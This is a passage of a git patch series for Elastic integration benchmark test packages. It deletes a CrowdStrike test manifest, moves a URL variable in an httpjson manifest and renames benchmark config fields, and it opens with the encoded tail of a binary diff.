z5T(BiG^glH6k0c04tQFL4BVXd_~L)Px!GzthxMk}!g(Uz)#cvJSo@1&ID%!Gizv`f
zgCJ@B5-gGPmk^#oo}vDa5*82o4o*KCV5=&NZL6+E)!YyY|15?`=m@3$Siz+npEFx7
z7WxTi(}R-qBQ}gP(-f3pb_JVoMJH$0_x4}yIdfa*6D-065QPR3quIxU#ZB+7RTrWK
zsB)#hs{E}5NzX2~%@#}jUEz#h_F{ZyQ&HkXJ6Kssj5lCIou$ZilIt<+g2eY3r4BxA
z&aqMN?o8ILHmCjxykV*oZ1_N)@m%n5$y*?jb{7mRpiY(JErpS=Ua-26DCf)h_2O{9
zK9~Klw`{>R*NkcEgbWw6q0<X8Hgr0a9f~jJkM>;RMRt!vIHP-1_2V(afWSdp8Mwps
zd4&D79(p--DdVLVU<UC3aQzULNB=ND0L$)UML)%Qfpx19`NXZo;YH``pG!(}#oco@
z@!kVjuNavw%lq^;wX^LlB}HQ_(nwHIXVevnT^!wzdKx|<d2iodPd`9D)za=%m8Bf|
zo~bZPdaKhmxm`73sYyN-dmagKpr$ACZ<X~Y5PJNsDAV28EqWq7A9%k{YB=k7e>No6
z@HAUZ^)mFMO8I*q0}Wt?q#WU0LXDwrmsdK=w5I!|U0LzL<T3_-p-QW$^Ig_s7G9-G
zN0%d0S6a3t$%xaYIo_<Kc^K<Z60`qysJ+sv-T9R@Wq~<v>g$Hl#{)XHJ)em4=miIf
zdXgp;7k?~{9CG@qEV+k?r0Ht-`9lL>eV$&dioLCmwdhGT>U6QF=w-MVGLozs2UdcB
z?aG#eZ9_nd);Kq&`E_hvr_I+Vw&E|j;p*tmVa=5^DZpaR?G7K&<;}Ppv(QjTuv6Aj
zkh~`6CfAQ+VY}`sOOvUX12FG1_iLF(&89}w8<A4mD#<FFh+)rt-{+cEwv|&AC&`$b
z912zWh2{(v>^C`m>&n6R-X|T9tJbcocb^a#3|@2k`tzNT<%{|L;y+s;b|L?Zn}GaZ
zxQS{o|C=-hBBFl<fb&Hk<blhJ-b)AXCTRri+UC-O{+3tie`|eop&PiWW9+V1!$xWR
zshk)cnVH`F{;hV>Bz8Ig#ks612+ZRR#EW22u-*vqY|HX${P25b6}{DG!DG3%aav*b
zGp35UHus~hbxFv5pwRfHR31eF4_~rng~)I;h;g(AD}tlNW?T9UPP825>gme}HivN`
zeaFAEN69`)nsX*7WdsITFPEVH7HiwMMotnGozsduX$~kiN@5b0lP&>tlA^%hKoV{R
zK;?1hF;|w5!+aU3^&a;PdY`-Jqi)^j&qVfFq4V0;TBt5h-U9Po2C9^REOK?lW>XZx
zsR0&wue=~>`nJr2MD&eI*(bhrTl46_4^n2(0>BRvq}$w`WL{f^ymkj@cq`ix_HT9~
z1|j{jww=I&Hx=Ujz^t?3QVqthG8jV{fB#DQOQJqVl<{AHjNZ?T6yv$H;~-O*8yAt$
z2PfL$!Ax)CG9=H~wP}?53cIhsC(M^etU*DKng>nyz7I$^U9V;c>|c|Kd6T8xjUZ|p
z0^PM6XtuU5p~YvAE%-{YmP3j5fOD-}H?Nw#J(o$%Hj%mT_X$JgslW2Q;I$Mj*kMC6
zk?(@U5z`Zw|8DB(X%^IT`A$a%biU9jwYfOkvwEY8r|ik{mYeA;BXXxJ)jS+_)Tw7y
zhAilRN)~AJTRxq7XNqT#U0?b&+yT;fM)}n{2`hg2*V}F!XG-6EGCC~6d(r}b9!sZM
zXLP|iQ10aREuP)=d8?<eMzeQKFrTxhvt4Q7BbfZlnU^xlb&+Fj$kPW2fESgKB!&}t
zxHE4~*?%6={1!23tQq%WX~XT6^@ly?8(+#=ww*tHQ^Z4EBaxDT`-<>eW4q#h;@;=3
z;7v9Kmc#QWvHFuu{_a*sSx_H8PR<+K&BgqhuvfLqPB~uwq2&Ww476$y`Ir44CCdi{
zHe)vrzeXb<oQCh9X_)#%3C-~ieg&Nds`zvfQz4#Tj%_PstqkvPx;i8o#*nFQ(!6*)
zj^k{CKgoyp*K?;9LQSTXU5iHhePPi-nxm*{Z+F{ynUSYmu5V5b8^xNu1k<gDC`O=?
z0i&vvmHS0l6K^z<{0i8mMs>*Qm=Qul$~03P&xVo}|F`xKfgV#)b5zL6P*gB<?#F@6
zbj|)OO6~pZx>jt|gYP4%wM`py?hyA+`4>!|m3qpI?lO!9s~N>cDG7QJk9ooUzVI3$
zUp@}hg#-z3j#cXQx9mK7y;`xNu=a#5Q`UsxyE^9-)c4Qvun5!6;x3}KP>MiS<*y>)
zaRbfcuMsA*s{2EtX(G}jNBh#&Nh#Sk7dxAJ3@6jN;{L|Se`h!@wl<gbV|Utvr-H_4
z4cyaW_I+Hk!&Dhz|3xC7)eyq3$^6_4k2t198>ITl;0Q*z>LPlfNTj(TgYbo}Pc55?
zp%YRN0@upDEN_7<#oAMiGpm(3&p!0T266_`LZSyMQCGp#GZ^$prRBX3jtk9aLKB-u
z<~t5?lQbv}b9#<B57s{Jii~-W?Q{$i)|Q)()hsRqFO=wy83P40Ba}AaOrco-8I{fh
z)jo$Sh7!pf*|F<CY+n2d?|D)A=^DZ%*q%XmH3l`&RgA$FkRcFnaB!5~<7GG>-CzoJ
zGaH+5c=RS^5$I`Olno5dj+a)jW5}$zrk?OOwP%SJEkjp4dWmKLP8&VFnbBLM-{z-l
zez%vqp<zPOFCqWy9P=gZTn!_oePUqgiV#ky37YI84A3Z2W8`9jy`F!~*b1vz?e9ou
zxp|nm!CYCgi&NK@bWK{^-E*Qb551Tx4IlRWAmaF-J`2)aXk7?vha$<63%N(gnq$AQ
zWBJ8@+PI<FO-sMGu1hkitKvjkjH%M6X^P<1CCWzM5_`urssa_!p>z7_A{oN%L&SVa
zy*(j^aUK)<pmHFS(aOiuzt$CKjr2-87IOru4-&w>Z=BasN&|3>9QvZz^K|lWzXHw9
zruHZ9cLK)y&)?>J-jLwIv*lcV#!)$$1WnBkCuGFIg+S?N!pbMYx#j7$oykmxA!$Y0
z=MU7+Ez9X@m?;WaOAFR&8NM5=a?^UZnrU>#^r%%&Kg1xh3drk{xJc=L+F=&N-dsQ~
zv>lO}cvWY)?eVfEZOvH4&}4`i{u1>jYbW2bFG|n~n6E>z=J%|R*^O(YMg@qzx*1h;
zIO>)(!Xb)w&pOar);TS9768GG9I!@{qw9k1`)8Z<s5f+5z*Fpnz=4)XS`~3U&0Xbd
zfYSTq;xUg~T*IT*?DJZ&g5x+p{Rq`q96weNJyCnA*tH4lx?$T$st6zOk3`5!r*s9M
z3Qo4q*m3{q7>l_2X{VS2=M&9HzX|lOsKydyw7J(8+4uBl$!rf;iyH?&I6Zc>Z`t+?
zOl##Z*ETsS*E>;ROjWg=oQ{&e3b<Ej<yEZzk!A0knv9HVn6DBD^9ZaE6fG<?iZw@v
z_*`5>j~K84muPqW)S6m~q?}PeW%ea3wZnw3<uLGJu-0>{kZ)nN^}I;NyOd%&FAX2D
z_(?3!%aN*5umTn2RBBwfx2~-_5O^AXp|-`teNB&JWFpDwFvsGkP49}__&!1irBBU^
zqeE&(#I#(_Pt}}?2$Pc@%noBiRg|9McXi_aJQ!<IO%DXWxF7{$LwQj^)`wb6oqi@j
zpT*|zd}}xJ$Wp(amB22Or>Ym!E0{K{&F|uueN=-Ap@1!SCWMH>zLNWo%lwEJo*JuN
zG0n5P8&88|zSB)HYdF5M%cK-|Lb@k(MA7C0@QNnvBcWh^SXh)+WrF;uA{^j4{;;uC
zBK%#wd>yIi!g<1m>*S%-#zED%o*HHF581MJ=?pTlyG&E9>{q^A$=PT>-wD$sYN|cs
zvlncJ11D~_$n)=>-qNAnasuW_#~CDXM0b%Q5MH|oB${+i<Tzsd9^o+Q4{u55p6Sg>
zyenhD7lW_A`KOpTeb|p*5{dR&5(FB?Ratx%r6*mnFYeQlRJTjw?1!YeY>cj43b=fh
zuQ`xKY>Cci(p$tM!9dY^5)_2c!bFpg)b}isogMCjl#Th7n2@#mQ!HXU8^C4RN1JR%
z0${%7Nzm2!-*$?g{IAddm1LP{F#it&OCtRaNSwfl@VVkW-d!lBBMrC3*%(zIvG_pu
zd#A5YNpt+Rinv>ftjhMPLRH0pOc4WPw)tb#B)ZPQ5^xJj&Nv<i7pS4WEY3QrT?I=Z
z@BiZBmNXZEcDMu|<voV{G~mxulZm?e<1xXdg3SgEtOEt@HUFf0b-FPecKEXceE4=>
z4>wTnIBM_ESH_l+5iBSjYB}gyd^aGqh%D;qM&sAIi?!@q+IG?}vOI7rxH{x7HpNLS
z?|1NehKA5NsO3*pS95O8U}ceR<VEkH9?zB{-5135K>XLN#8a-%Qg&0Lxll+j6<FW5
zSh&NOYKO;h(s?U<+MbWS^^VZ&oW4KYfN9FpRzD3(cH);(w{Lev^)rs$e-J&paR66=
zL4bR0R|j;KU3^_RyMk=r=CrXE2hFPD<&K&#=OrgF#?*0uUsV?8_xe|Dc~sqbR9Rve
zNo%+K{V>}~xMmg^J}-T}iK^97g3_nRryNV(1KivZHS1XMM#oge$CIAqv_I%WQ?MJ1
zjf3UXll&i&uuACin?=cVLa&`FCF7wAUg4v-1$$}wvY3b^Ab;FWYUiBm;pF@_#+3ev
zlxAX^+Dmb|LeR&|b-eoXE#X|ox984V{h#f0?k4*<Y<hM0L^mb&INL4b=@F@RyLuP+
zIAz916Lgclr*$+pd$+x!4@<qx7Ee;RXV1IhV6ufN`L{d;o}>HA8SFqTS=V2?7wn25
zxQ;<VeM%7`>mgQ+8p<fpJ#n7|`a8Xn^-ioT%~ju|hIehGn(Ox1!nu^>rx9BkVJWkZ
z(H>R{nvHmoZ&enQ7rHkG?E+R}6_)xr6X86X^>GvOeU?PfJa&2}|LdtOlA~<O>MJXI
zHg(6b@7lv9EjN(2%_I#qCZ#7;4k0&>zrY3QAtgW#9?E3Eiuc#f=y)Joq&qaVr>x<x
z&X$aLf0bh;^ZHFgtHEHQEt9{Fz1mBs^_0o4P-;~9gK8=nNt_#8)G9<D<U0u}7XI{K
zZpt55k`R%9p7kuyZ}O3@=#l)vSjU7+n`5Vo<x|_QKmUA`BV?6y*e@LL+|0{`ZH=*J
znm@MdUgAeFk4N7xMBJdF4$ZNRh;qLmWTN?GzU&m-(W}*ZPb%-vchc;exRqea2_}nE
z*;mJW0exy>-y$z{CIKsfx=Ix@(4{2yvcgiw7=f?KX|;sjOw^Wpl#q?(MUz3Z7{~Oo
zq>OR2?C~T~KDHx79<Ry_*ujB#a;l<d$7D^1?#a=%N6N7{pUjp4>DaUHIShr*eSAu-
zPrz*P_7<~7dmz}5h}+F=Gp<zg_{q%q!FoO0e2<W$jw`YEt_pExUa`X+4@M*ul%hO<
zza&mBb3PZ<;=XW^O0yubKO!1KZ3FMv6OeCh_0@TYosO2x&ewKdT14|6e}!^lm4Ler
zRO1|HZ+6mS&%|C4bUW9__HmDxOHiWC%c=@%_x2!0AFx1v*9|||rOaV+2+hSDC`9P;
znR0JOLc=fIPdUxtv_QUQR7}^}z^O+Hkkv9^pPZ2h=SH8UhmK=e3t%|jU$z%GlLMM)
z%r^>4+{Ul}F_LvGx0ilpV3#vA%5mxGFR%i7N{NSh&^USZ*J3FCxVY?TveZC>t*)g4
z?8dDStz~z$t#4x>6;@=^8S~RX`ClL!%?<E^WFJOYW(uW4PO}=aY{pIu4u}Q05R}Nj
zJ`G*Z>g|nZqMgX!<)wuorH!ZGg60vVVxJ33s#R0|&h^%5jS(C%R+fF0AQmtzA3Rv`
zI&HXQ4t5?Y3oG@V#x;y>j+7${Suy>+wGzfDHhOc;PQL0_YdCLzxso;S!?=j8IciY$
z55P*I$6~+B<Q=QXrqI_#W4~tWY~GADL7lBLt%baFE?kO<_C1m(MDr>g^CKI(UF0cp
zjWylMeIN*CVSn2#@g`IL<$9TO^Jgv|yYGxlFy@}u8NA1H2BKe%rNPEBi8PQ=;|B5w
zSV+;LP}7mrg1q17?}?+?f%7pbLMM!~icddEZQ{;W!}-X<0UyL%+bz_JJ@sV5P6DRo
z^P!lXI7Qlp(wVr`P2Dh>d><<wVl8s%SFDkMnQL=1^DpT!rC>_KodMR@_sv*y9S(j9
z8e{?&XvV<Z6^*v(l(v8}5}X(Cf9|^onYk~}azJfm%Xv7kz<bgl;Eaq1!=PiIDmXr&
zm~)iaT)zxYM5|LX;(iO4f*qW_Z8j;*#YxfA9c;sTlh07YX17#_16$q4EXn37I|tMm
z6l{69g#y4x&%OX@n|)N-@de=(jMAIR*X7SmWJotx&IffNy$Em#tR|gr60PBj<Ll6;
z^mhy1@eLj*{duU_x!Ew^x7#lhE+}Zh7BXmEoTEf|!XQ9oVrpkCb_V7T3V|pRXY8S6
zzqh~-8_INp^6Nm&wyK+Nw+02WJfsoN2YU<$m`sK1wW8+{J%{MVciJg>>|_wqgRsyp
zXwIkT!qh{7CCl9J@`G8ExL0CU=NG{cL(7+M7*@!3DY`g7&MRiC&Tb^dl27Jg+UN7c
zsaeI}=Vpk}l-qzC^kZU*dMd5DR;Isy0UGcG`FlC*x5i(o!r1K@{YCtWOL8c6%nD!+
zFJGARJ&4e7*ed%*Fc^vU-b^~S5NiIp>Q;JDc(yn2d@C^Zw!R+*kD0y_HML!HD7`V$
zlEp_;PWuodqV&n1ws63}@N+$KX0#adTpguLwd<)T27FO3kJCi{&fvQ84}(B*O@^FF
z4y{MP{X;a`iIyDg!3{|Zg(l-L5=}#5=*!dZo5#IgZ*qH!sJO;|oShY_<ndxuV<ea;
zv|QY&&1lf`UxBmHuTbjBR^UQ#lXCCFTg;Kw$yb=fm~QKMg-PDIsx)jAW5&NLp0PDT
zdg(EaL5Lz5`&_sv>7Ue%?~|i!yX`Eb;QI(&>4sz(u}aZhgZsO&c<900OcPZ2c;vuE
zl`^tlpVT4mPd1m@vn{a5QuW_{^jYOrNCh%gl2zr)LZJ0i_%#qfzoV#L2i#AmqNUca
znD4~y!y8%Ml^Cs>JNNE6oL~nX0}r}SBux63go`oBoK+yc`BXryK1imNcc-R7jPfid
z>37J*T#f9Ccp{(F#_d+qZq*C7(i&7I_JS=qPMjqKW4VqeBqV@ha`jGP#Nv}0K(x=6
zixr&clyCx}KT;_pT>Db&W{Qa(hmP=VQ_wl80cSs6`nrJp(C;OHqil;>vciIkZuwFd
znDeLgmzfG!rTs~{7T-|I!dTUH5w9eue@5&TXxv(ge<c0@E7?Bd!e;9KXl^U^dLEO>
zP-k4#lO*CeW5#RG-P-t&lBsBaeGXM#puQUfV1lW7_v!(d)u)Ee#;-NgKe&jQwZWq`
zMmM%{(*ixhthCZGMl%P$DB&p@XZAA^Bu-Nk(*h)0XcqNe?|r(k>3V&Z3R^9?dj;<5
zGA<8RMUx#6n;EARsk#U8pRDgF6?3Ubd-V?w7Tv#X`9`TX%G{8~N}M-zr>2{_na&>z
zyub<ATs3g=V<xNsc0pY~)qODhpfg|{5(nj{U!XR2iFoxQn46a7h?zlaPH)o5EN|Vi
zjTK_Mu3VIkwSLAg!{s-=L59roF#+0jQqL5SV=gv~Z%$e-N1UZaH0C$@@PT-@^1q$h
zRR2E&x)B|Ty=bxjG(wqxUdI246Y5<hyJ6Et*|>u&_Tp#d{J>jA{^dg|g5S@JiZ+a1
zvFkyzj$`G$;h5%EoV{Z_#&z&@7rwUk-I{kuC4YBb4L`O!4Xf<&E&Ob-kemV9ckHbh
z=<08j_CE}6nq$YgLoU-M_bO(}JiRO&=HSL(x3MM}1>+XhzRtfc?@!pxSN3lhh(;4x
z4`QhqPdfZ6mkdeJlSCgX{;h+>baj+g30Lm-*ClN0t>+^7x}84w6?2@zF+sh<0pa()
zGZDq{bi)!b-qWYKW#ZM^go@i^#@_UAe*>~~-7`qrEI#yb(#|R5(h6ZMF|Na|iVg+x
z-urx2nhESpn73}sls>n+8rZ^o@oJX>a#gF#E*@}RR+d{jsEsUyICW4%!GJrn?^J=#
z$cxXhWf8Zy<|~Zu=(S#o7oJbB3T}m5FJmFevJ6xxT-Xinl=bvkLPR*cFI?E1%3$fc
zO}G)55)$e^HqzGK;g4$<7x5jO(SJZ&W`0M7^}EPY1^Wu-hYBTCY?ts?%+u(Zj*fGL
z*G{G%HVq=1MYBy;dGOvgM|l{38x>Ua@{OrF%n@tP73znt`=SGSzi!<UE^Sc<lPxSI
zV}!@3LGfMOAoeLFbMgVt>8Akwu*{7=K|frk|Db<d`}puQ{v>qVN$mXT;8l0FaQRl0
zHpS#AxECwT_n?K4D-*wGiTAc;vS34!qGhdxhXHQtmJBDJ#4~Wp3ntfqO1@XhqOV?N
za~5ptvChM`!7XgwZ%S)~rTAC^QSaOM@q^>BVwI!ZY-j&9cvD>>)%_j?T?fjQiu#QB
z>3rp_>B=PMebI!Lv{kk1%kk+t+(wNjg~0J1V$idwtF55aBL1t$z%4-K_YONjM(!>y
zbhy-*gZ?^q&pABOt`21cJ|cNhd{i`sG-5PkJ+ZB)Tm9G0HbjPk9rCehZsRFuJEKRr
zq4-@Hfj`Vkj&_ClUouO3|H+bb);Z~mM^l)cniCA9(@jLV^o{-UDyDkA;@za4+jy6k
z73PPxFYU~ZiALC`V18<?{xYjYRAFktLr}5ebn(fi3cEfyzr@lC{~C@sZ=GZB9iLuy
zk%tu}xl2yhIb#%4P2JrhnP5?Y(`ZGc=z&+-zOs#AZ`M%?-eJ0FWM|FM?0mXo#hw_V
zb0UCTRd#Q-?jn0ggk@Z`*9n@ET#0O5I`OWzkz<-+wkjwQc>jf}fq!bPpb@I#YB1+#
z=5J^BMnVXSS|5(Gv4XR{#Mf;a66YtCn*6=&IZ#9X0^tSjI{|i~A0?G1yrqHaIn-?a
z?}Co!3d9MsNB$La-ZfZOT?3aN&ubIk-SK{1xkyE{x$H02?U2XUkK%#cW!y=+=oh-?
z3hv4A`Oa2q=ys($e+{gvfJA0`9iM5={on>$x$Kk?+lsJa#<*oIIvC{#s8aHlP4J%$
z6i|xTJUsUN*R|#xScl_Z6=+kwiT!HYyQ~EnyX03dZ&bBHv<I@_VLoW(@w(z$Uqb!n
zVX8d7S009sl)n1nT=g+S?S<6*p!BwL7dNPeYLdL_H-vmOe+}NX%MZ?OYHDoG`(qWM
zyC3PD;V$oj=eA8Vt<W{zB`jW9fR}d=rySpYqtjtK@lc^UOmq^iN$?rmazb@qw*YeX
zXY5g})nd>1HJ$~bw?o1rSLeb+4ew^(IC<nw(?k08770*Bj*B0Y+Yv&*{cR$g%~$Ok
zW})ZTrs?j39M>DWgE3l-3^2~;On3IeH-jiUq!$IG9sZw-Y7>u!>V<q9FeB-;9OWQm
z%T#kt;h~u!D`V#B2O;-Nv$L&R(GSGocyO$Zfr|NC_&kxWGmcq}QeVG!FxN#8T1Z+A
z`Cx==BZkD5N{~Ar9w=B-g`9Nrlnor^@{|kAf<w)hq8?ApefQYvD`PW$^r?I#tl)c_
zIW{28r}=f==XKC&cI0K-IH4!}M%?WO9xF=aOmdx|8&(kqRtMPMu_X<+9*utv`LxS0
zzvl^KTstg|?@*<{$v^M~s<94JlQ}@nU9Gm!<fFGUUz~jE7|oIEn>1l&du`FAzd;FO
z_h_aYFN##Cs(97Jy!@XNbjFp(+hvpcqOdsodaE-l*~AlpEO*3)yEulOO=*}OlqC?d
zjF=nhT?EZx-S<4l^$e^0UgX~*sxO)aw_)NZ+-`pz-Mx%gVCaft!voEko@OSjChT&P
z<swB}opUHN9c-HB+?;GpxP-^I2F)ODvpx=q{iC0oOH%9kQB(7g#cwt47^5Si{*|Wt
z@9f<Fhu0IU2GW!t^U<V>pwS9SgMsVPzl~NcSuIB;2Z%=Z`Qd)lOubzukby4-8J{@(
zF{qz!scxxmj{Qyk3n4E4ZziifXK*Ia*>x8!3c7@pCfzHN7{9%PDps`}pR?VaAABW?
zP-=m6SgW<rl>F|smmNKFK^)San}jsI#exMwf*k<P=Q93>p?~SmA%yboSQt*WJQ4&I
z;OM2F(LLoa^oI<-ylurL7V%GZ@Gc)g@gle+O-{arxyOqSYODDD+KaWka#1}U=q;xk
zxXp^X@sb$uRQ&%M;MTFU!rAMuND}N>;zPlv%S>xK^xr$Va9-N(7;KGI{Zsa`)bDuW
JEW<x@{{b2Dp}YV9

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
deleted file mode 100644
index 537a611347..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
+++ /dev/null
@@ -1,164 +0,0 @@
-name: crowdstrike
-title: CrowdStrike
-version: "3.5.0"
-description: Collect logs from Crowdstrike with Elastic Agent.
-type: integration
-format_version: "3.5.8"
-categories: [security, edr_xdr]
-conditions:
-  kibana:
-    version: "^8.18.0 || ^9.0.0"
-icons:
-  - src: /img/logo-integrations-crowdstrike.svg
-    title: CrowdStrike
-    size: 216x216
-    type: image/svg+xml
-screenshots:
-  - src: /img/siem-alerts-cs.jpg
-    title: CrowdStrike SIEM Alerts
-    size: 3360x1776
-    type: image/jpg
-  - src: /img/siem-events-cs.jpg
-    title: CrowdStrike SIEM Events
-    size: 3360x1776
-    type: image/jpg
-  - src: /img/cs-fdr1.png
-    title: CrowdStrike FDR Overview
-    size: 1535x626
-    type: image/png
-  - src: /img/cs-falcon1.png
-    title: CrowdStrike Falcon Overview
-    size: 1535x626
-    type: image/png
-  - src: /img/cs-overview1.png
-    title: CrowdStrike Overview
-    size: 1535x626
-    type: image/png
-  - src: /img/crowdstrike-alert-dashboard.png
-    title: CrowdStrike Alert
-    size: 1535x626
-    type: image/png
-  - src: /img/crowdstrike-host-dashboard.png
-    title: CrowdStrike Host
-    size: 1535x626
-    type: image/png
-  - src: /img/crowdstrike-vulnerability-dashboard.png
-    title: CrowdStrike Vulnerability
-    size: 1535x626
-    type: image/png
-policy_templates:
-  - name: crowdstrike
-    title: CrowdStrike
-    description: Collect logs from CrowdStrike Falcon and FDR
-    deployment_modes:
-      default:
-        enabled: true
-      agentless:
-        enabled: true
-        organization: security
-        division: engineering
-        team: security-service-integrations
-    inputs:
-      - type: logfile
-        title: "Collect CrowdStrike Falcon and FDR logs (input: logfile)"
-        description: "Collecting logs from CrowdStrike Falcon and FDR (input: logfile)"
-      - type: aws-s3
-        title: "Collect CrowdStrike Falcon Data Replicator logs (input: aws-s3)"
-        description: "Collecting logs from CrowdStrike Falcon Data Replicator (input: aws-s3)"
-      - type: streaming
-        title: Collect CrowdStrike Falcon Logs via Event Stream
-        description: Collecting CrowdStrike Falcon Logs via Event Stream.
-        vars:
-          - name: proxy_url
-            type: text
-            title: Proxy URL
-            multi: false
-            required: false
-            show_user: false
-            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Ensure your username and password are in URL encoded format.
-          - name: proxy_headers
-            type: yaml
-            title: Proxy headers
-            multi: false
-            required: false
-            show_user: false
-            description: This specifies the headers to be sent to the proxy server.
-      - type: cel
-        title: Collect CrowdStrike logs via API
-        description: Collecting CrowdStrike logs via API.
-        vars:
-          - name: client_id
-            type: text
-            title: Client ID
-            description: Client ID for the CrowdStrike.
-            multi: false
-            required: true
-            show_user: true
-          - name: client_secret
-            type: password
-            title: Client Secret
-            description: Client Secret for the CrowdStrike.
-            multi: false
-            required: true
-            show_user: true
-            secret: true
-          - name: url
-            type: text
-            title: URL
-            description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com
-            default: https://api.crowdstrike.com
-            required: true
-            show_user: true
-          - name: token_url
-            type: text
-            title: Token URL
-            description: Token URL of CrowdStrike.
-            default: https://api.crowdstrike.com/oauth2/token
-            required: true
-            show_user: false
-          - name: proxy_url
-            type: text
-            title: Proxy URL
-            multi: false
-            required: false
-            show_user: false
-            description: URL to proxy connections in the form of http[s]://<user>:<password>@<server name/ip>:<port>. Please ensure your username and password are in URL encoded format.
-          - name: proxy_headers
-            type: yaml
-            title: Proxy headers
-            multi: false
-            required: false
-            show_user: false
-            description: This specifies the headers to be sent to the proxy server.
-          - name: ssl
-            type: yaml
-            title: SSL Configuration
-            description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details.
-            multi: false
-            required: false
-            show_user: false
-            default: |
-              #certificate_authorities:
-              #  - |
-              #    -----BEGIN CERTIFICATE-----
-              #    MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF
-              #    ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2
-              #    MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB
-              #    BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n
-              #    fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl
-              #    94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t
-              #    /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP
-              #    PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41
-              #    CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O
-              #    BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux
-              #    8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D
-              #    874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw
-              #    3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA
-              #    H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu
-              #    8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0
-              #    yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk
-              #    sxSmbIUfc2SGJGCJD4I=
-              #    -----END CERTIFICATE-----
-owner:
-  github: elastic/security-service-integrations
-  type: elastic
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml
deleted file mode 100644
index ab145056ed..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-errors:
-  exclude_checks:
-    - SVR00001 # Saved query, but no filter.
-    - SVR00002
-    - SVR00004 # Saved search not allowed?
-    - SVR00005 # Kibana version for saved tags.
-    - JSE00001 # Array lists not recognised.

From e7ce6114c06cad566371d39eaeeb0e1d6bcadde0 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 19 Mar 2026 17:00:43 +0530
Subject: [PATCH 07/19] Fix url in httpjson test package

---
 .../data_stream/httpjson/manifest.yml                      | 5 -----
 .../system_benchmark_multi_deployer/manifest.yml           | 7 +++++++
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
index a2c2e275b6..c954ac372c 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
@@ -6,11 +6,6 @@ streams:
     description: Collect benchmark events via httpjson input.
     template_path: httpjson.yml.hbs
     vars:
-      - name: url
-        type: url
-        title: URL
-        required: true
-        show_user: true
       - name: interval
         type: text
         title: Interval
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
index 210c3d4091..c4b8ea4eb6 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml
@@ -16,6 +16,13 @@ policy_templates:
       - type: httpjson
         title: Collect logs via HTTP JSON
         description: Collecting logs via httpjson input.
+        vars:
+          - name: url
+            type: url
+            title: URL
+            description: URL of the HTTP endpoint to collect events from.
+            required: true
+            show_user: true
       - type: filestream
         title: Collect logs via filestream
         description: Collecting logs via filestream input.

From 333ef9aef41b52576f1f0baa597dd1619c93aadc Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 19 Mar 2026 17:18:33 +0530
Subject: [PATCH 08/19] Fix CI error

---
 .../_dev/benchmark/system/docker-benchmark/config.yml     | 8 ++++----
 .../_dev/benchmark/system/docker-benchmark/fields.yml     | 8 ++++----
 .../benchmark/system/docker-benchmark/template.ndjson     | 2 +-
 3 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
index fdf8edca15..a95908550b 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
@@ -1,16 +1,16 @@
 fields:
-  - name: severity
+  - name: Severity
     enum:
       - low
       - medium
       - high
       - critical
-  - name: status
+  - name: Status
     enum:
       - open
       - closed
       - in_progress
-  - name: source_ip
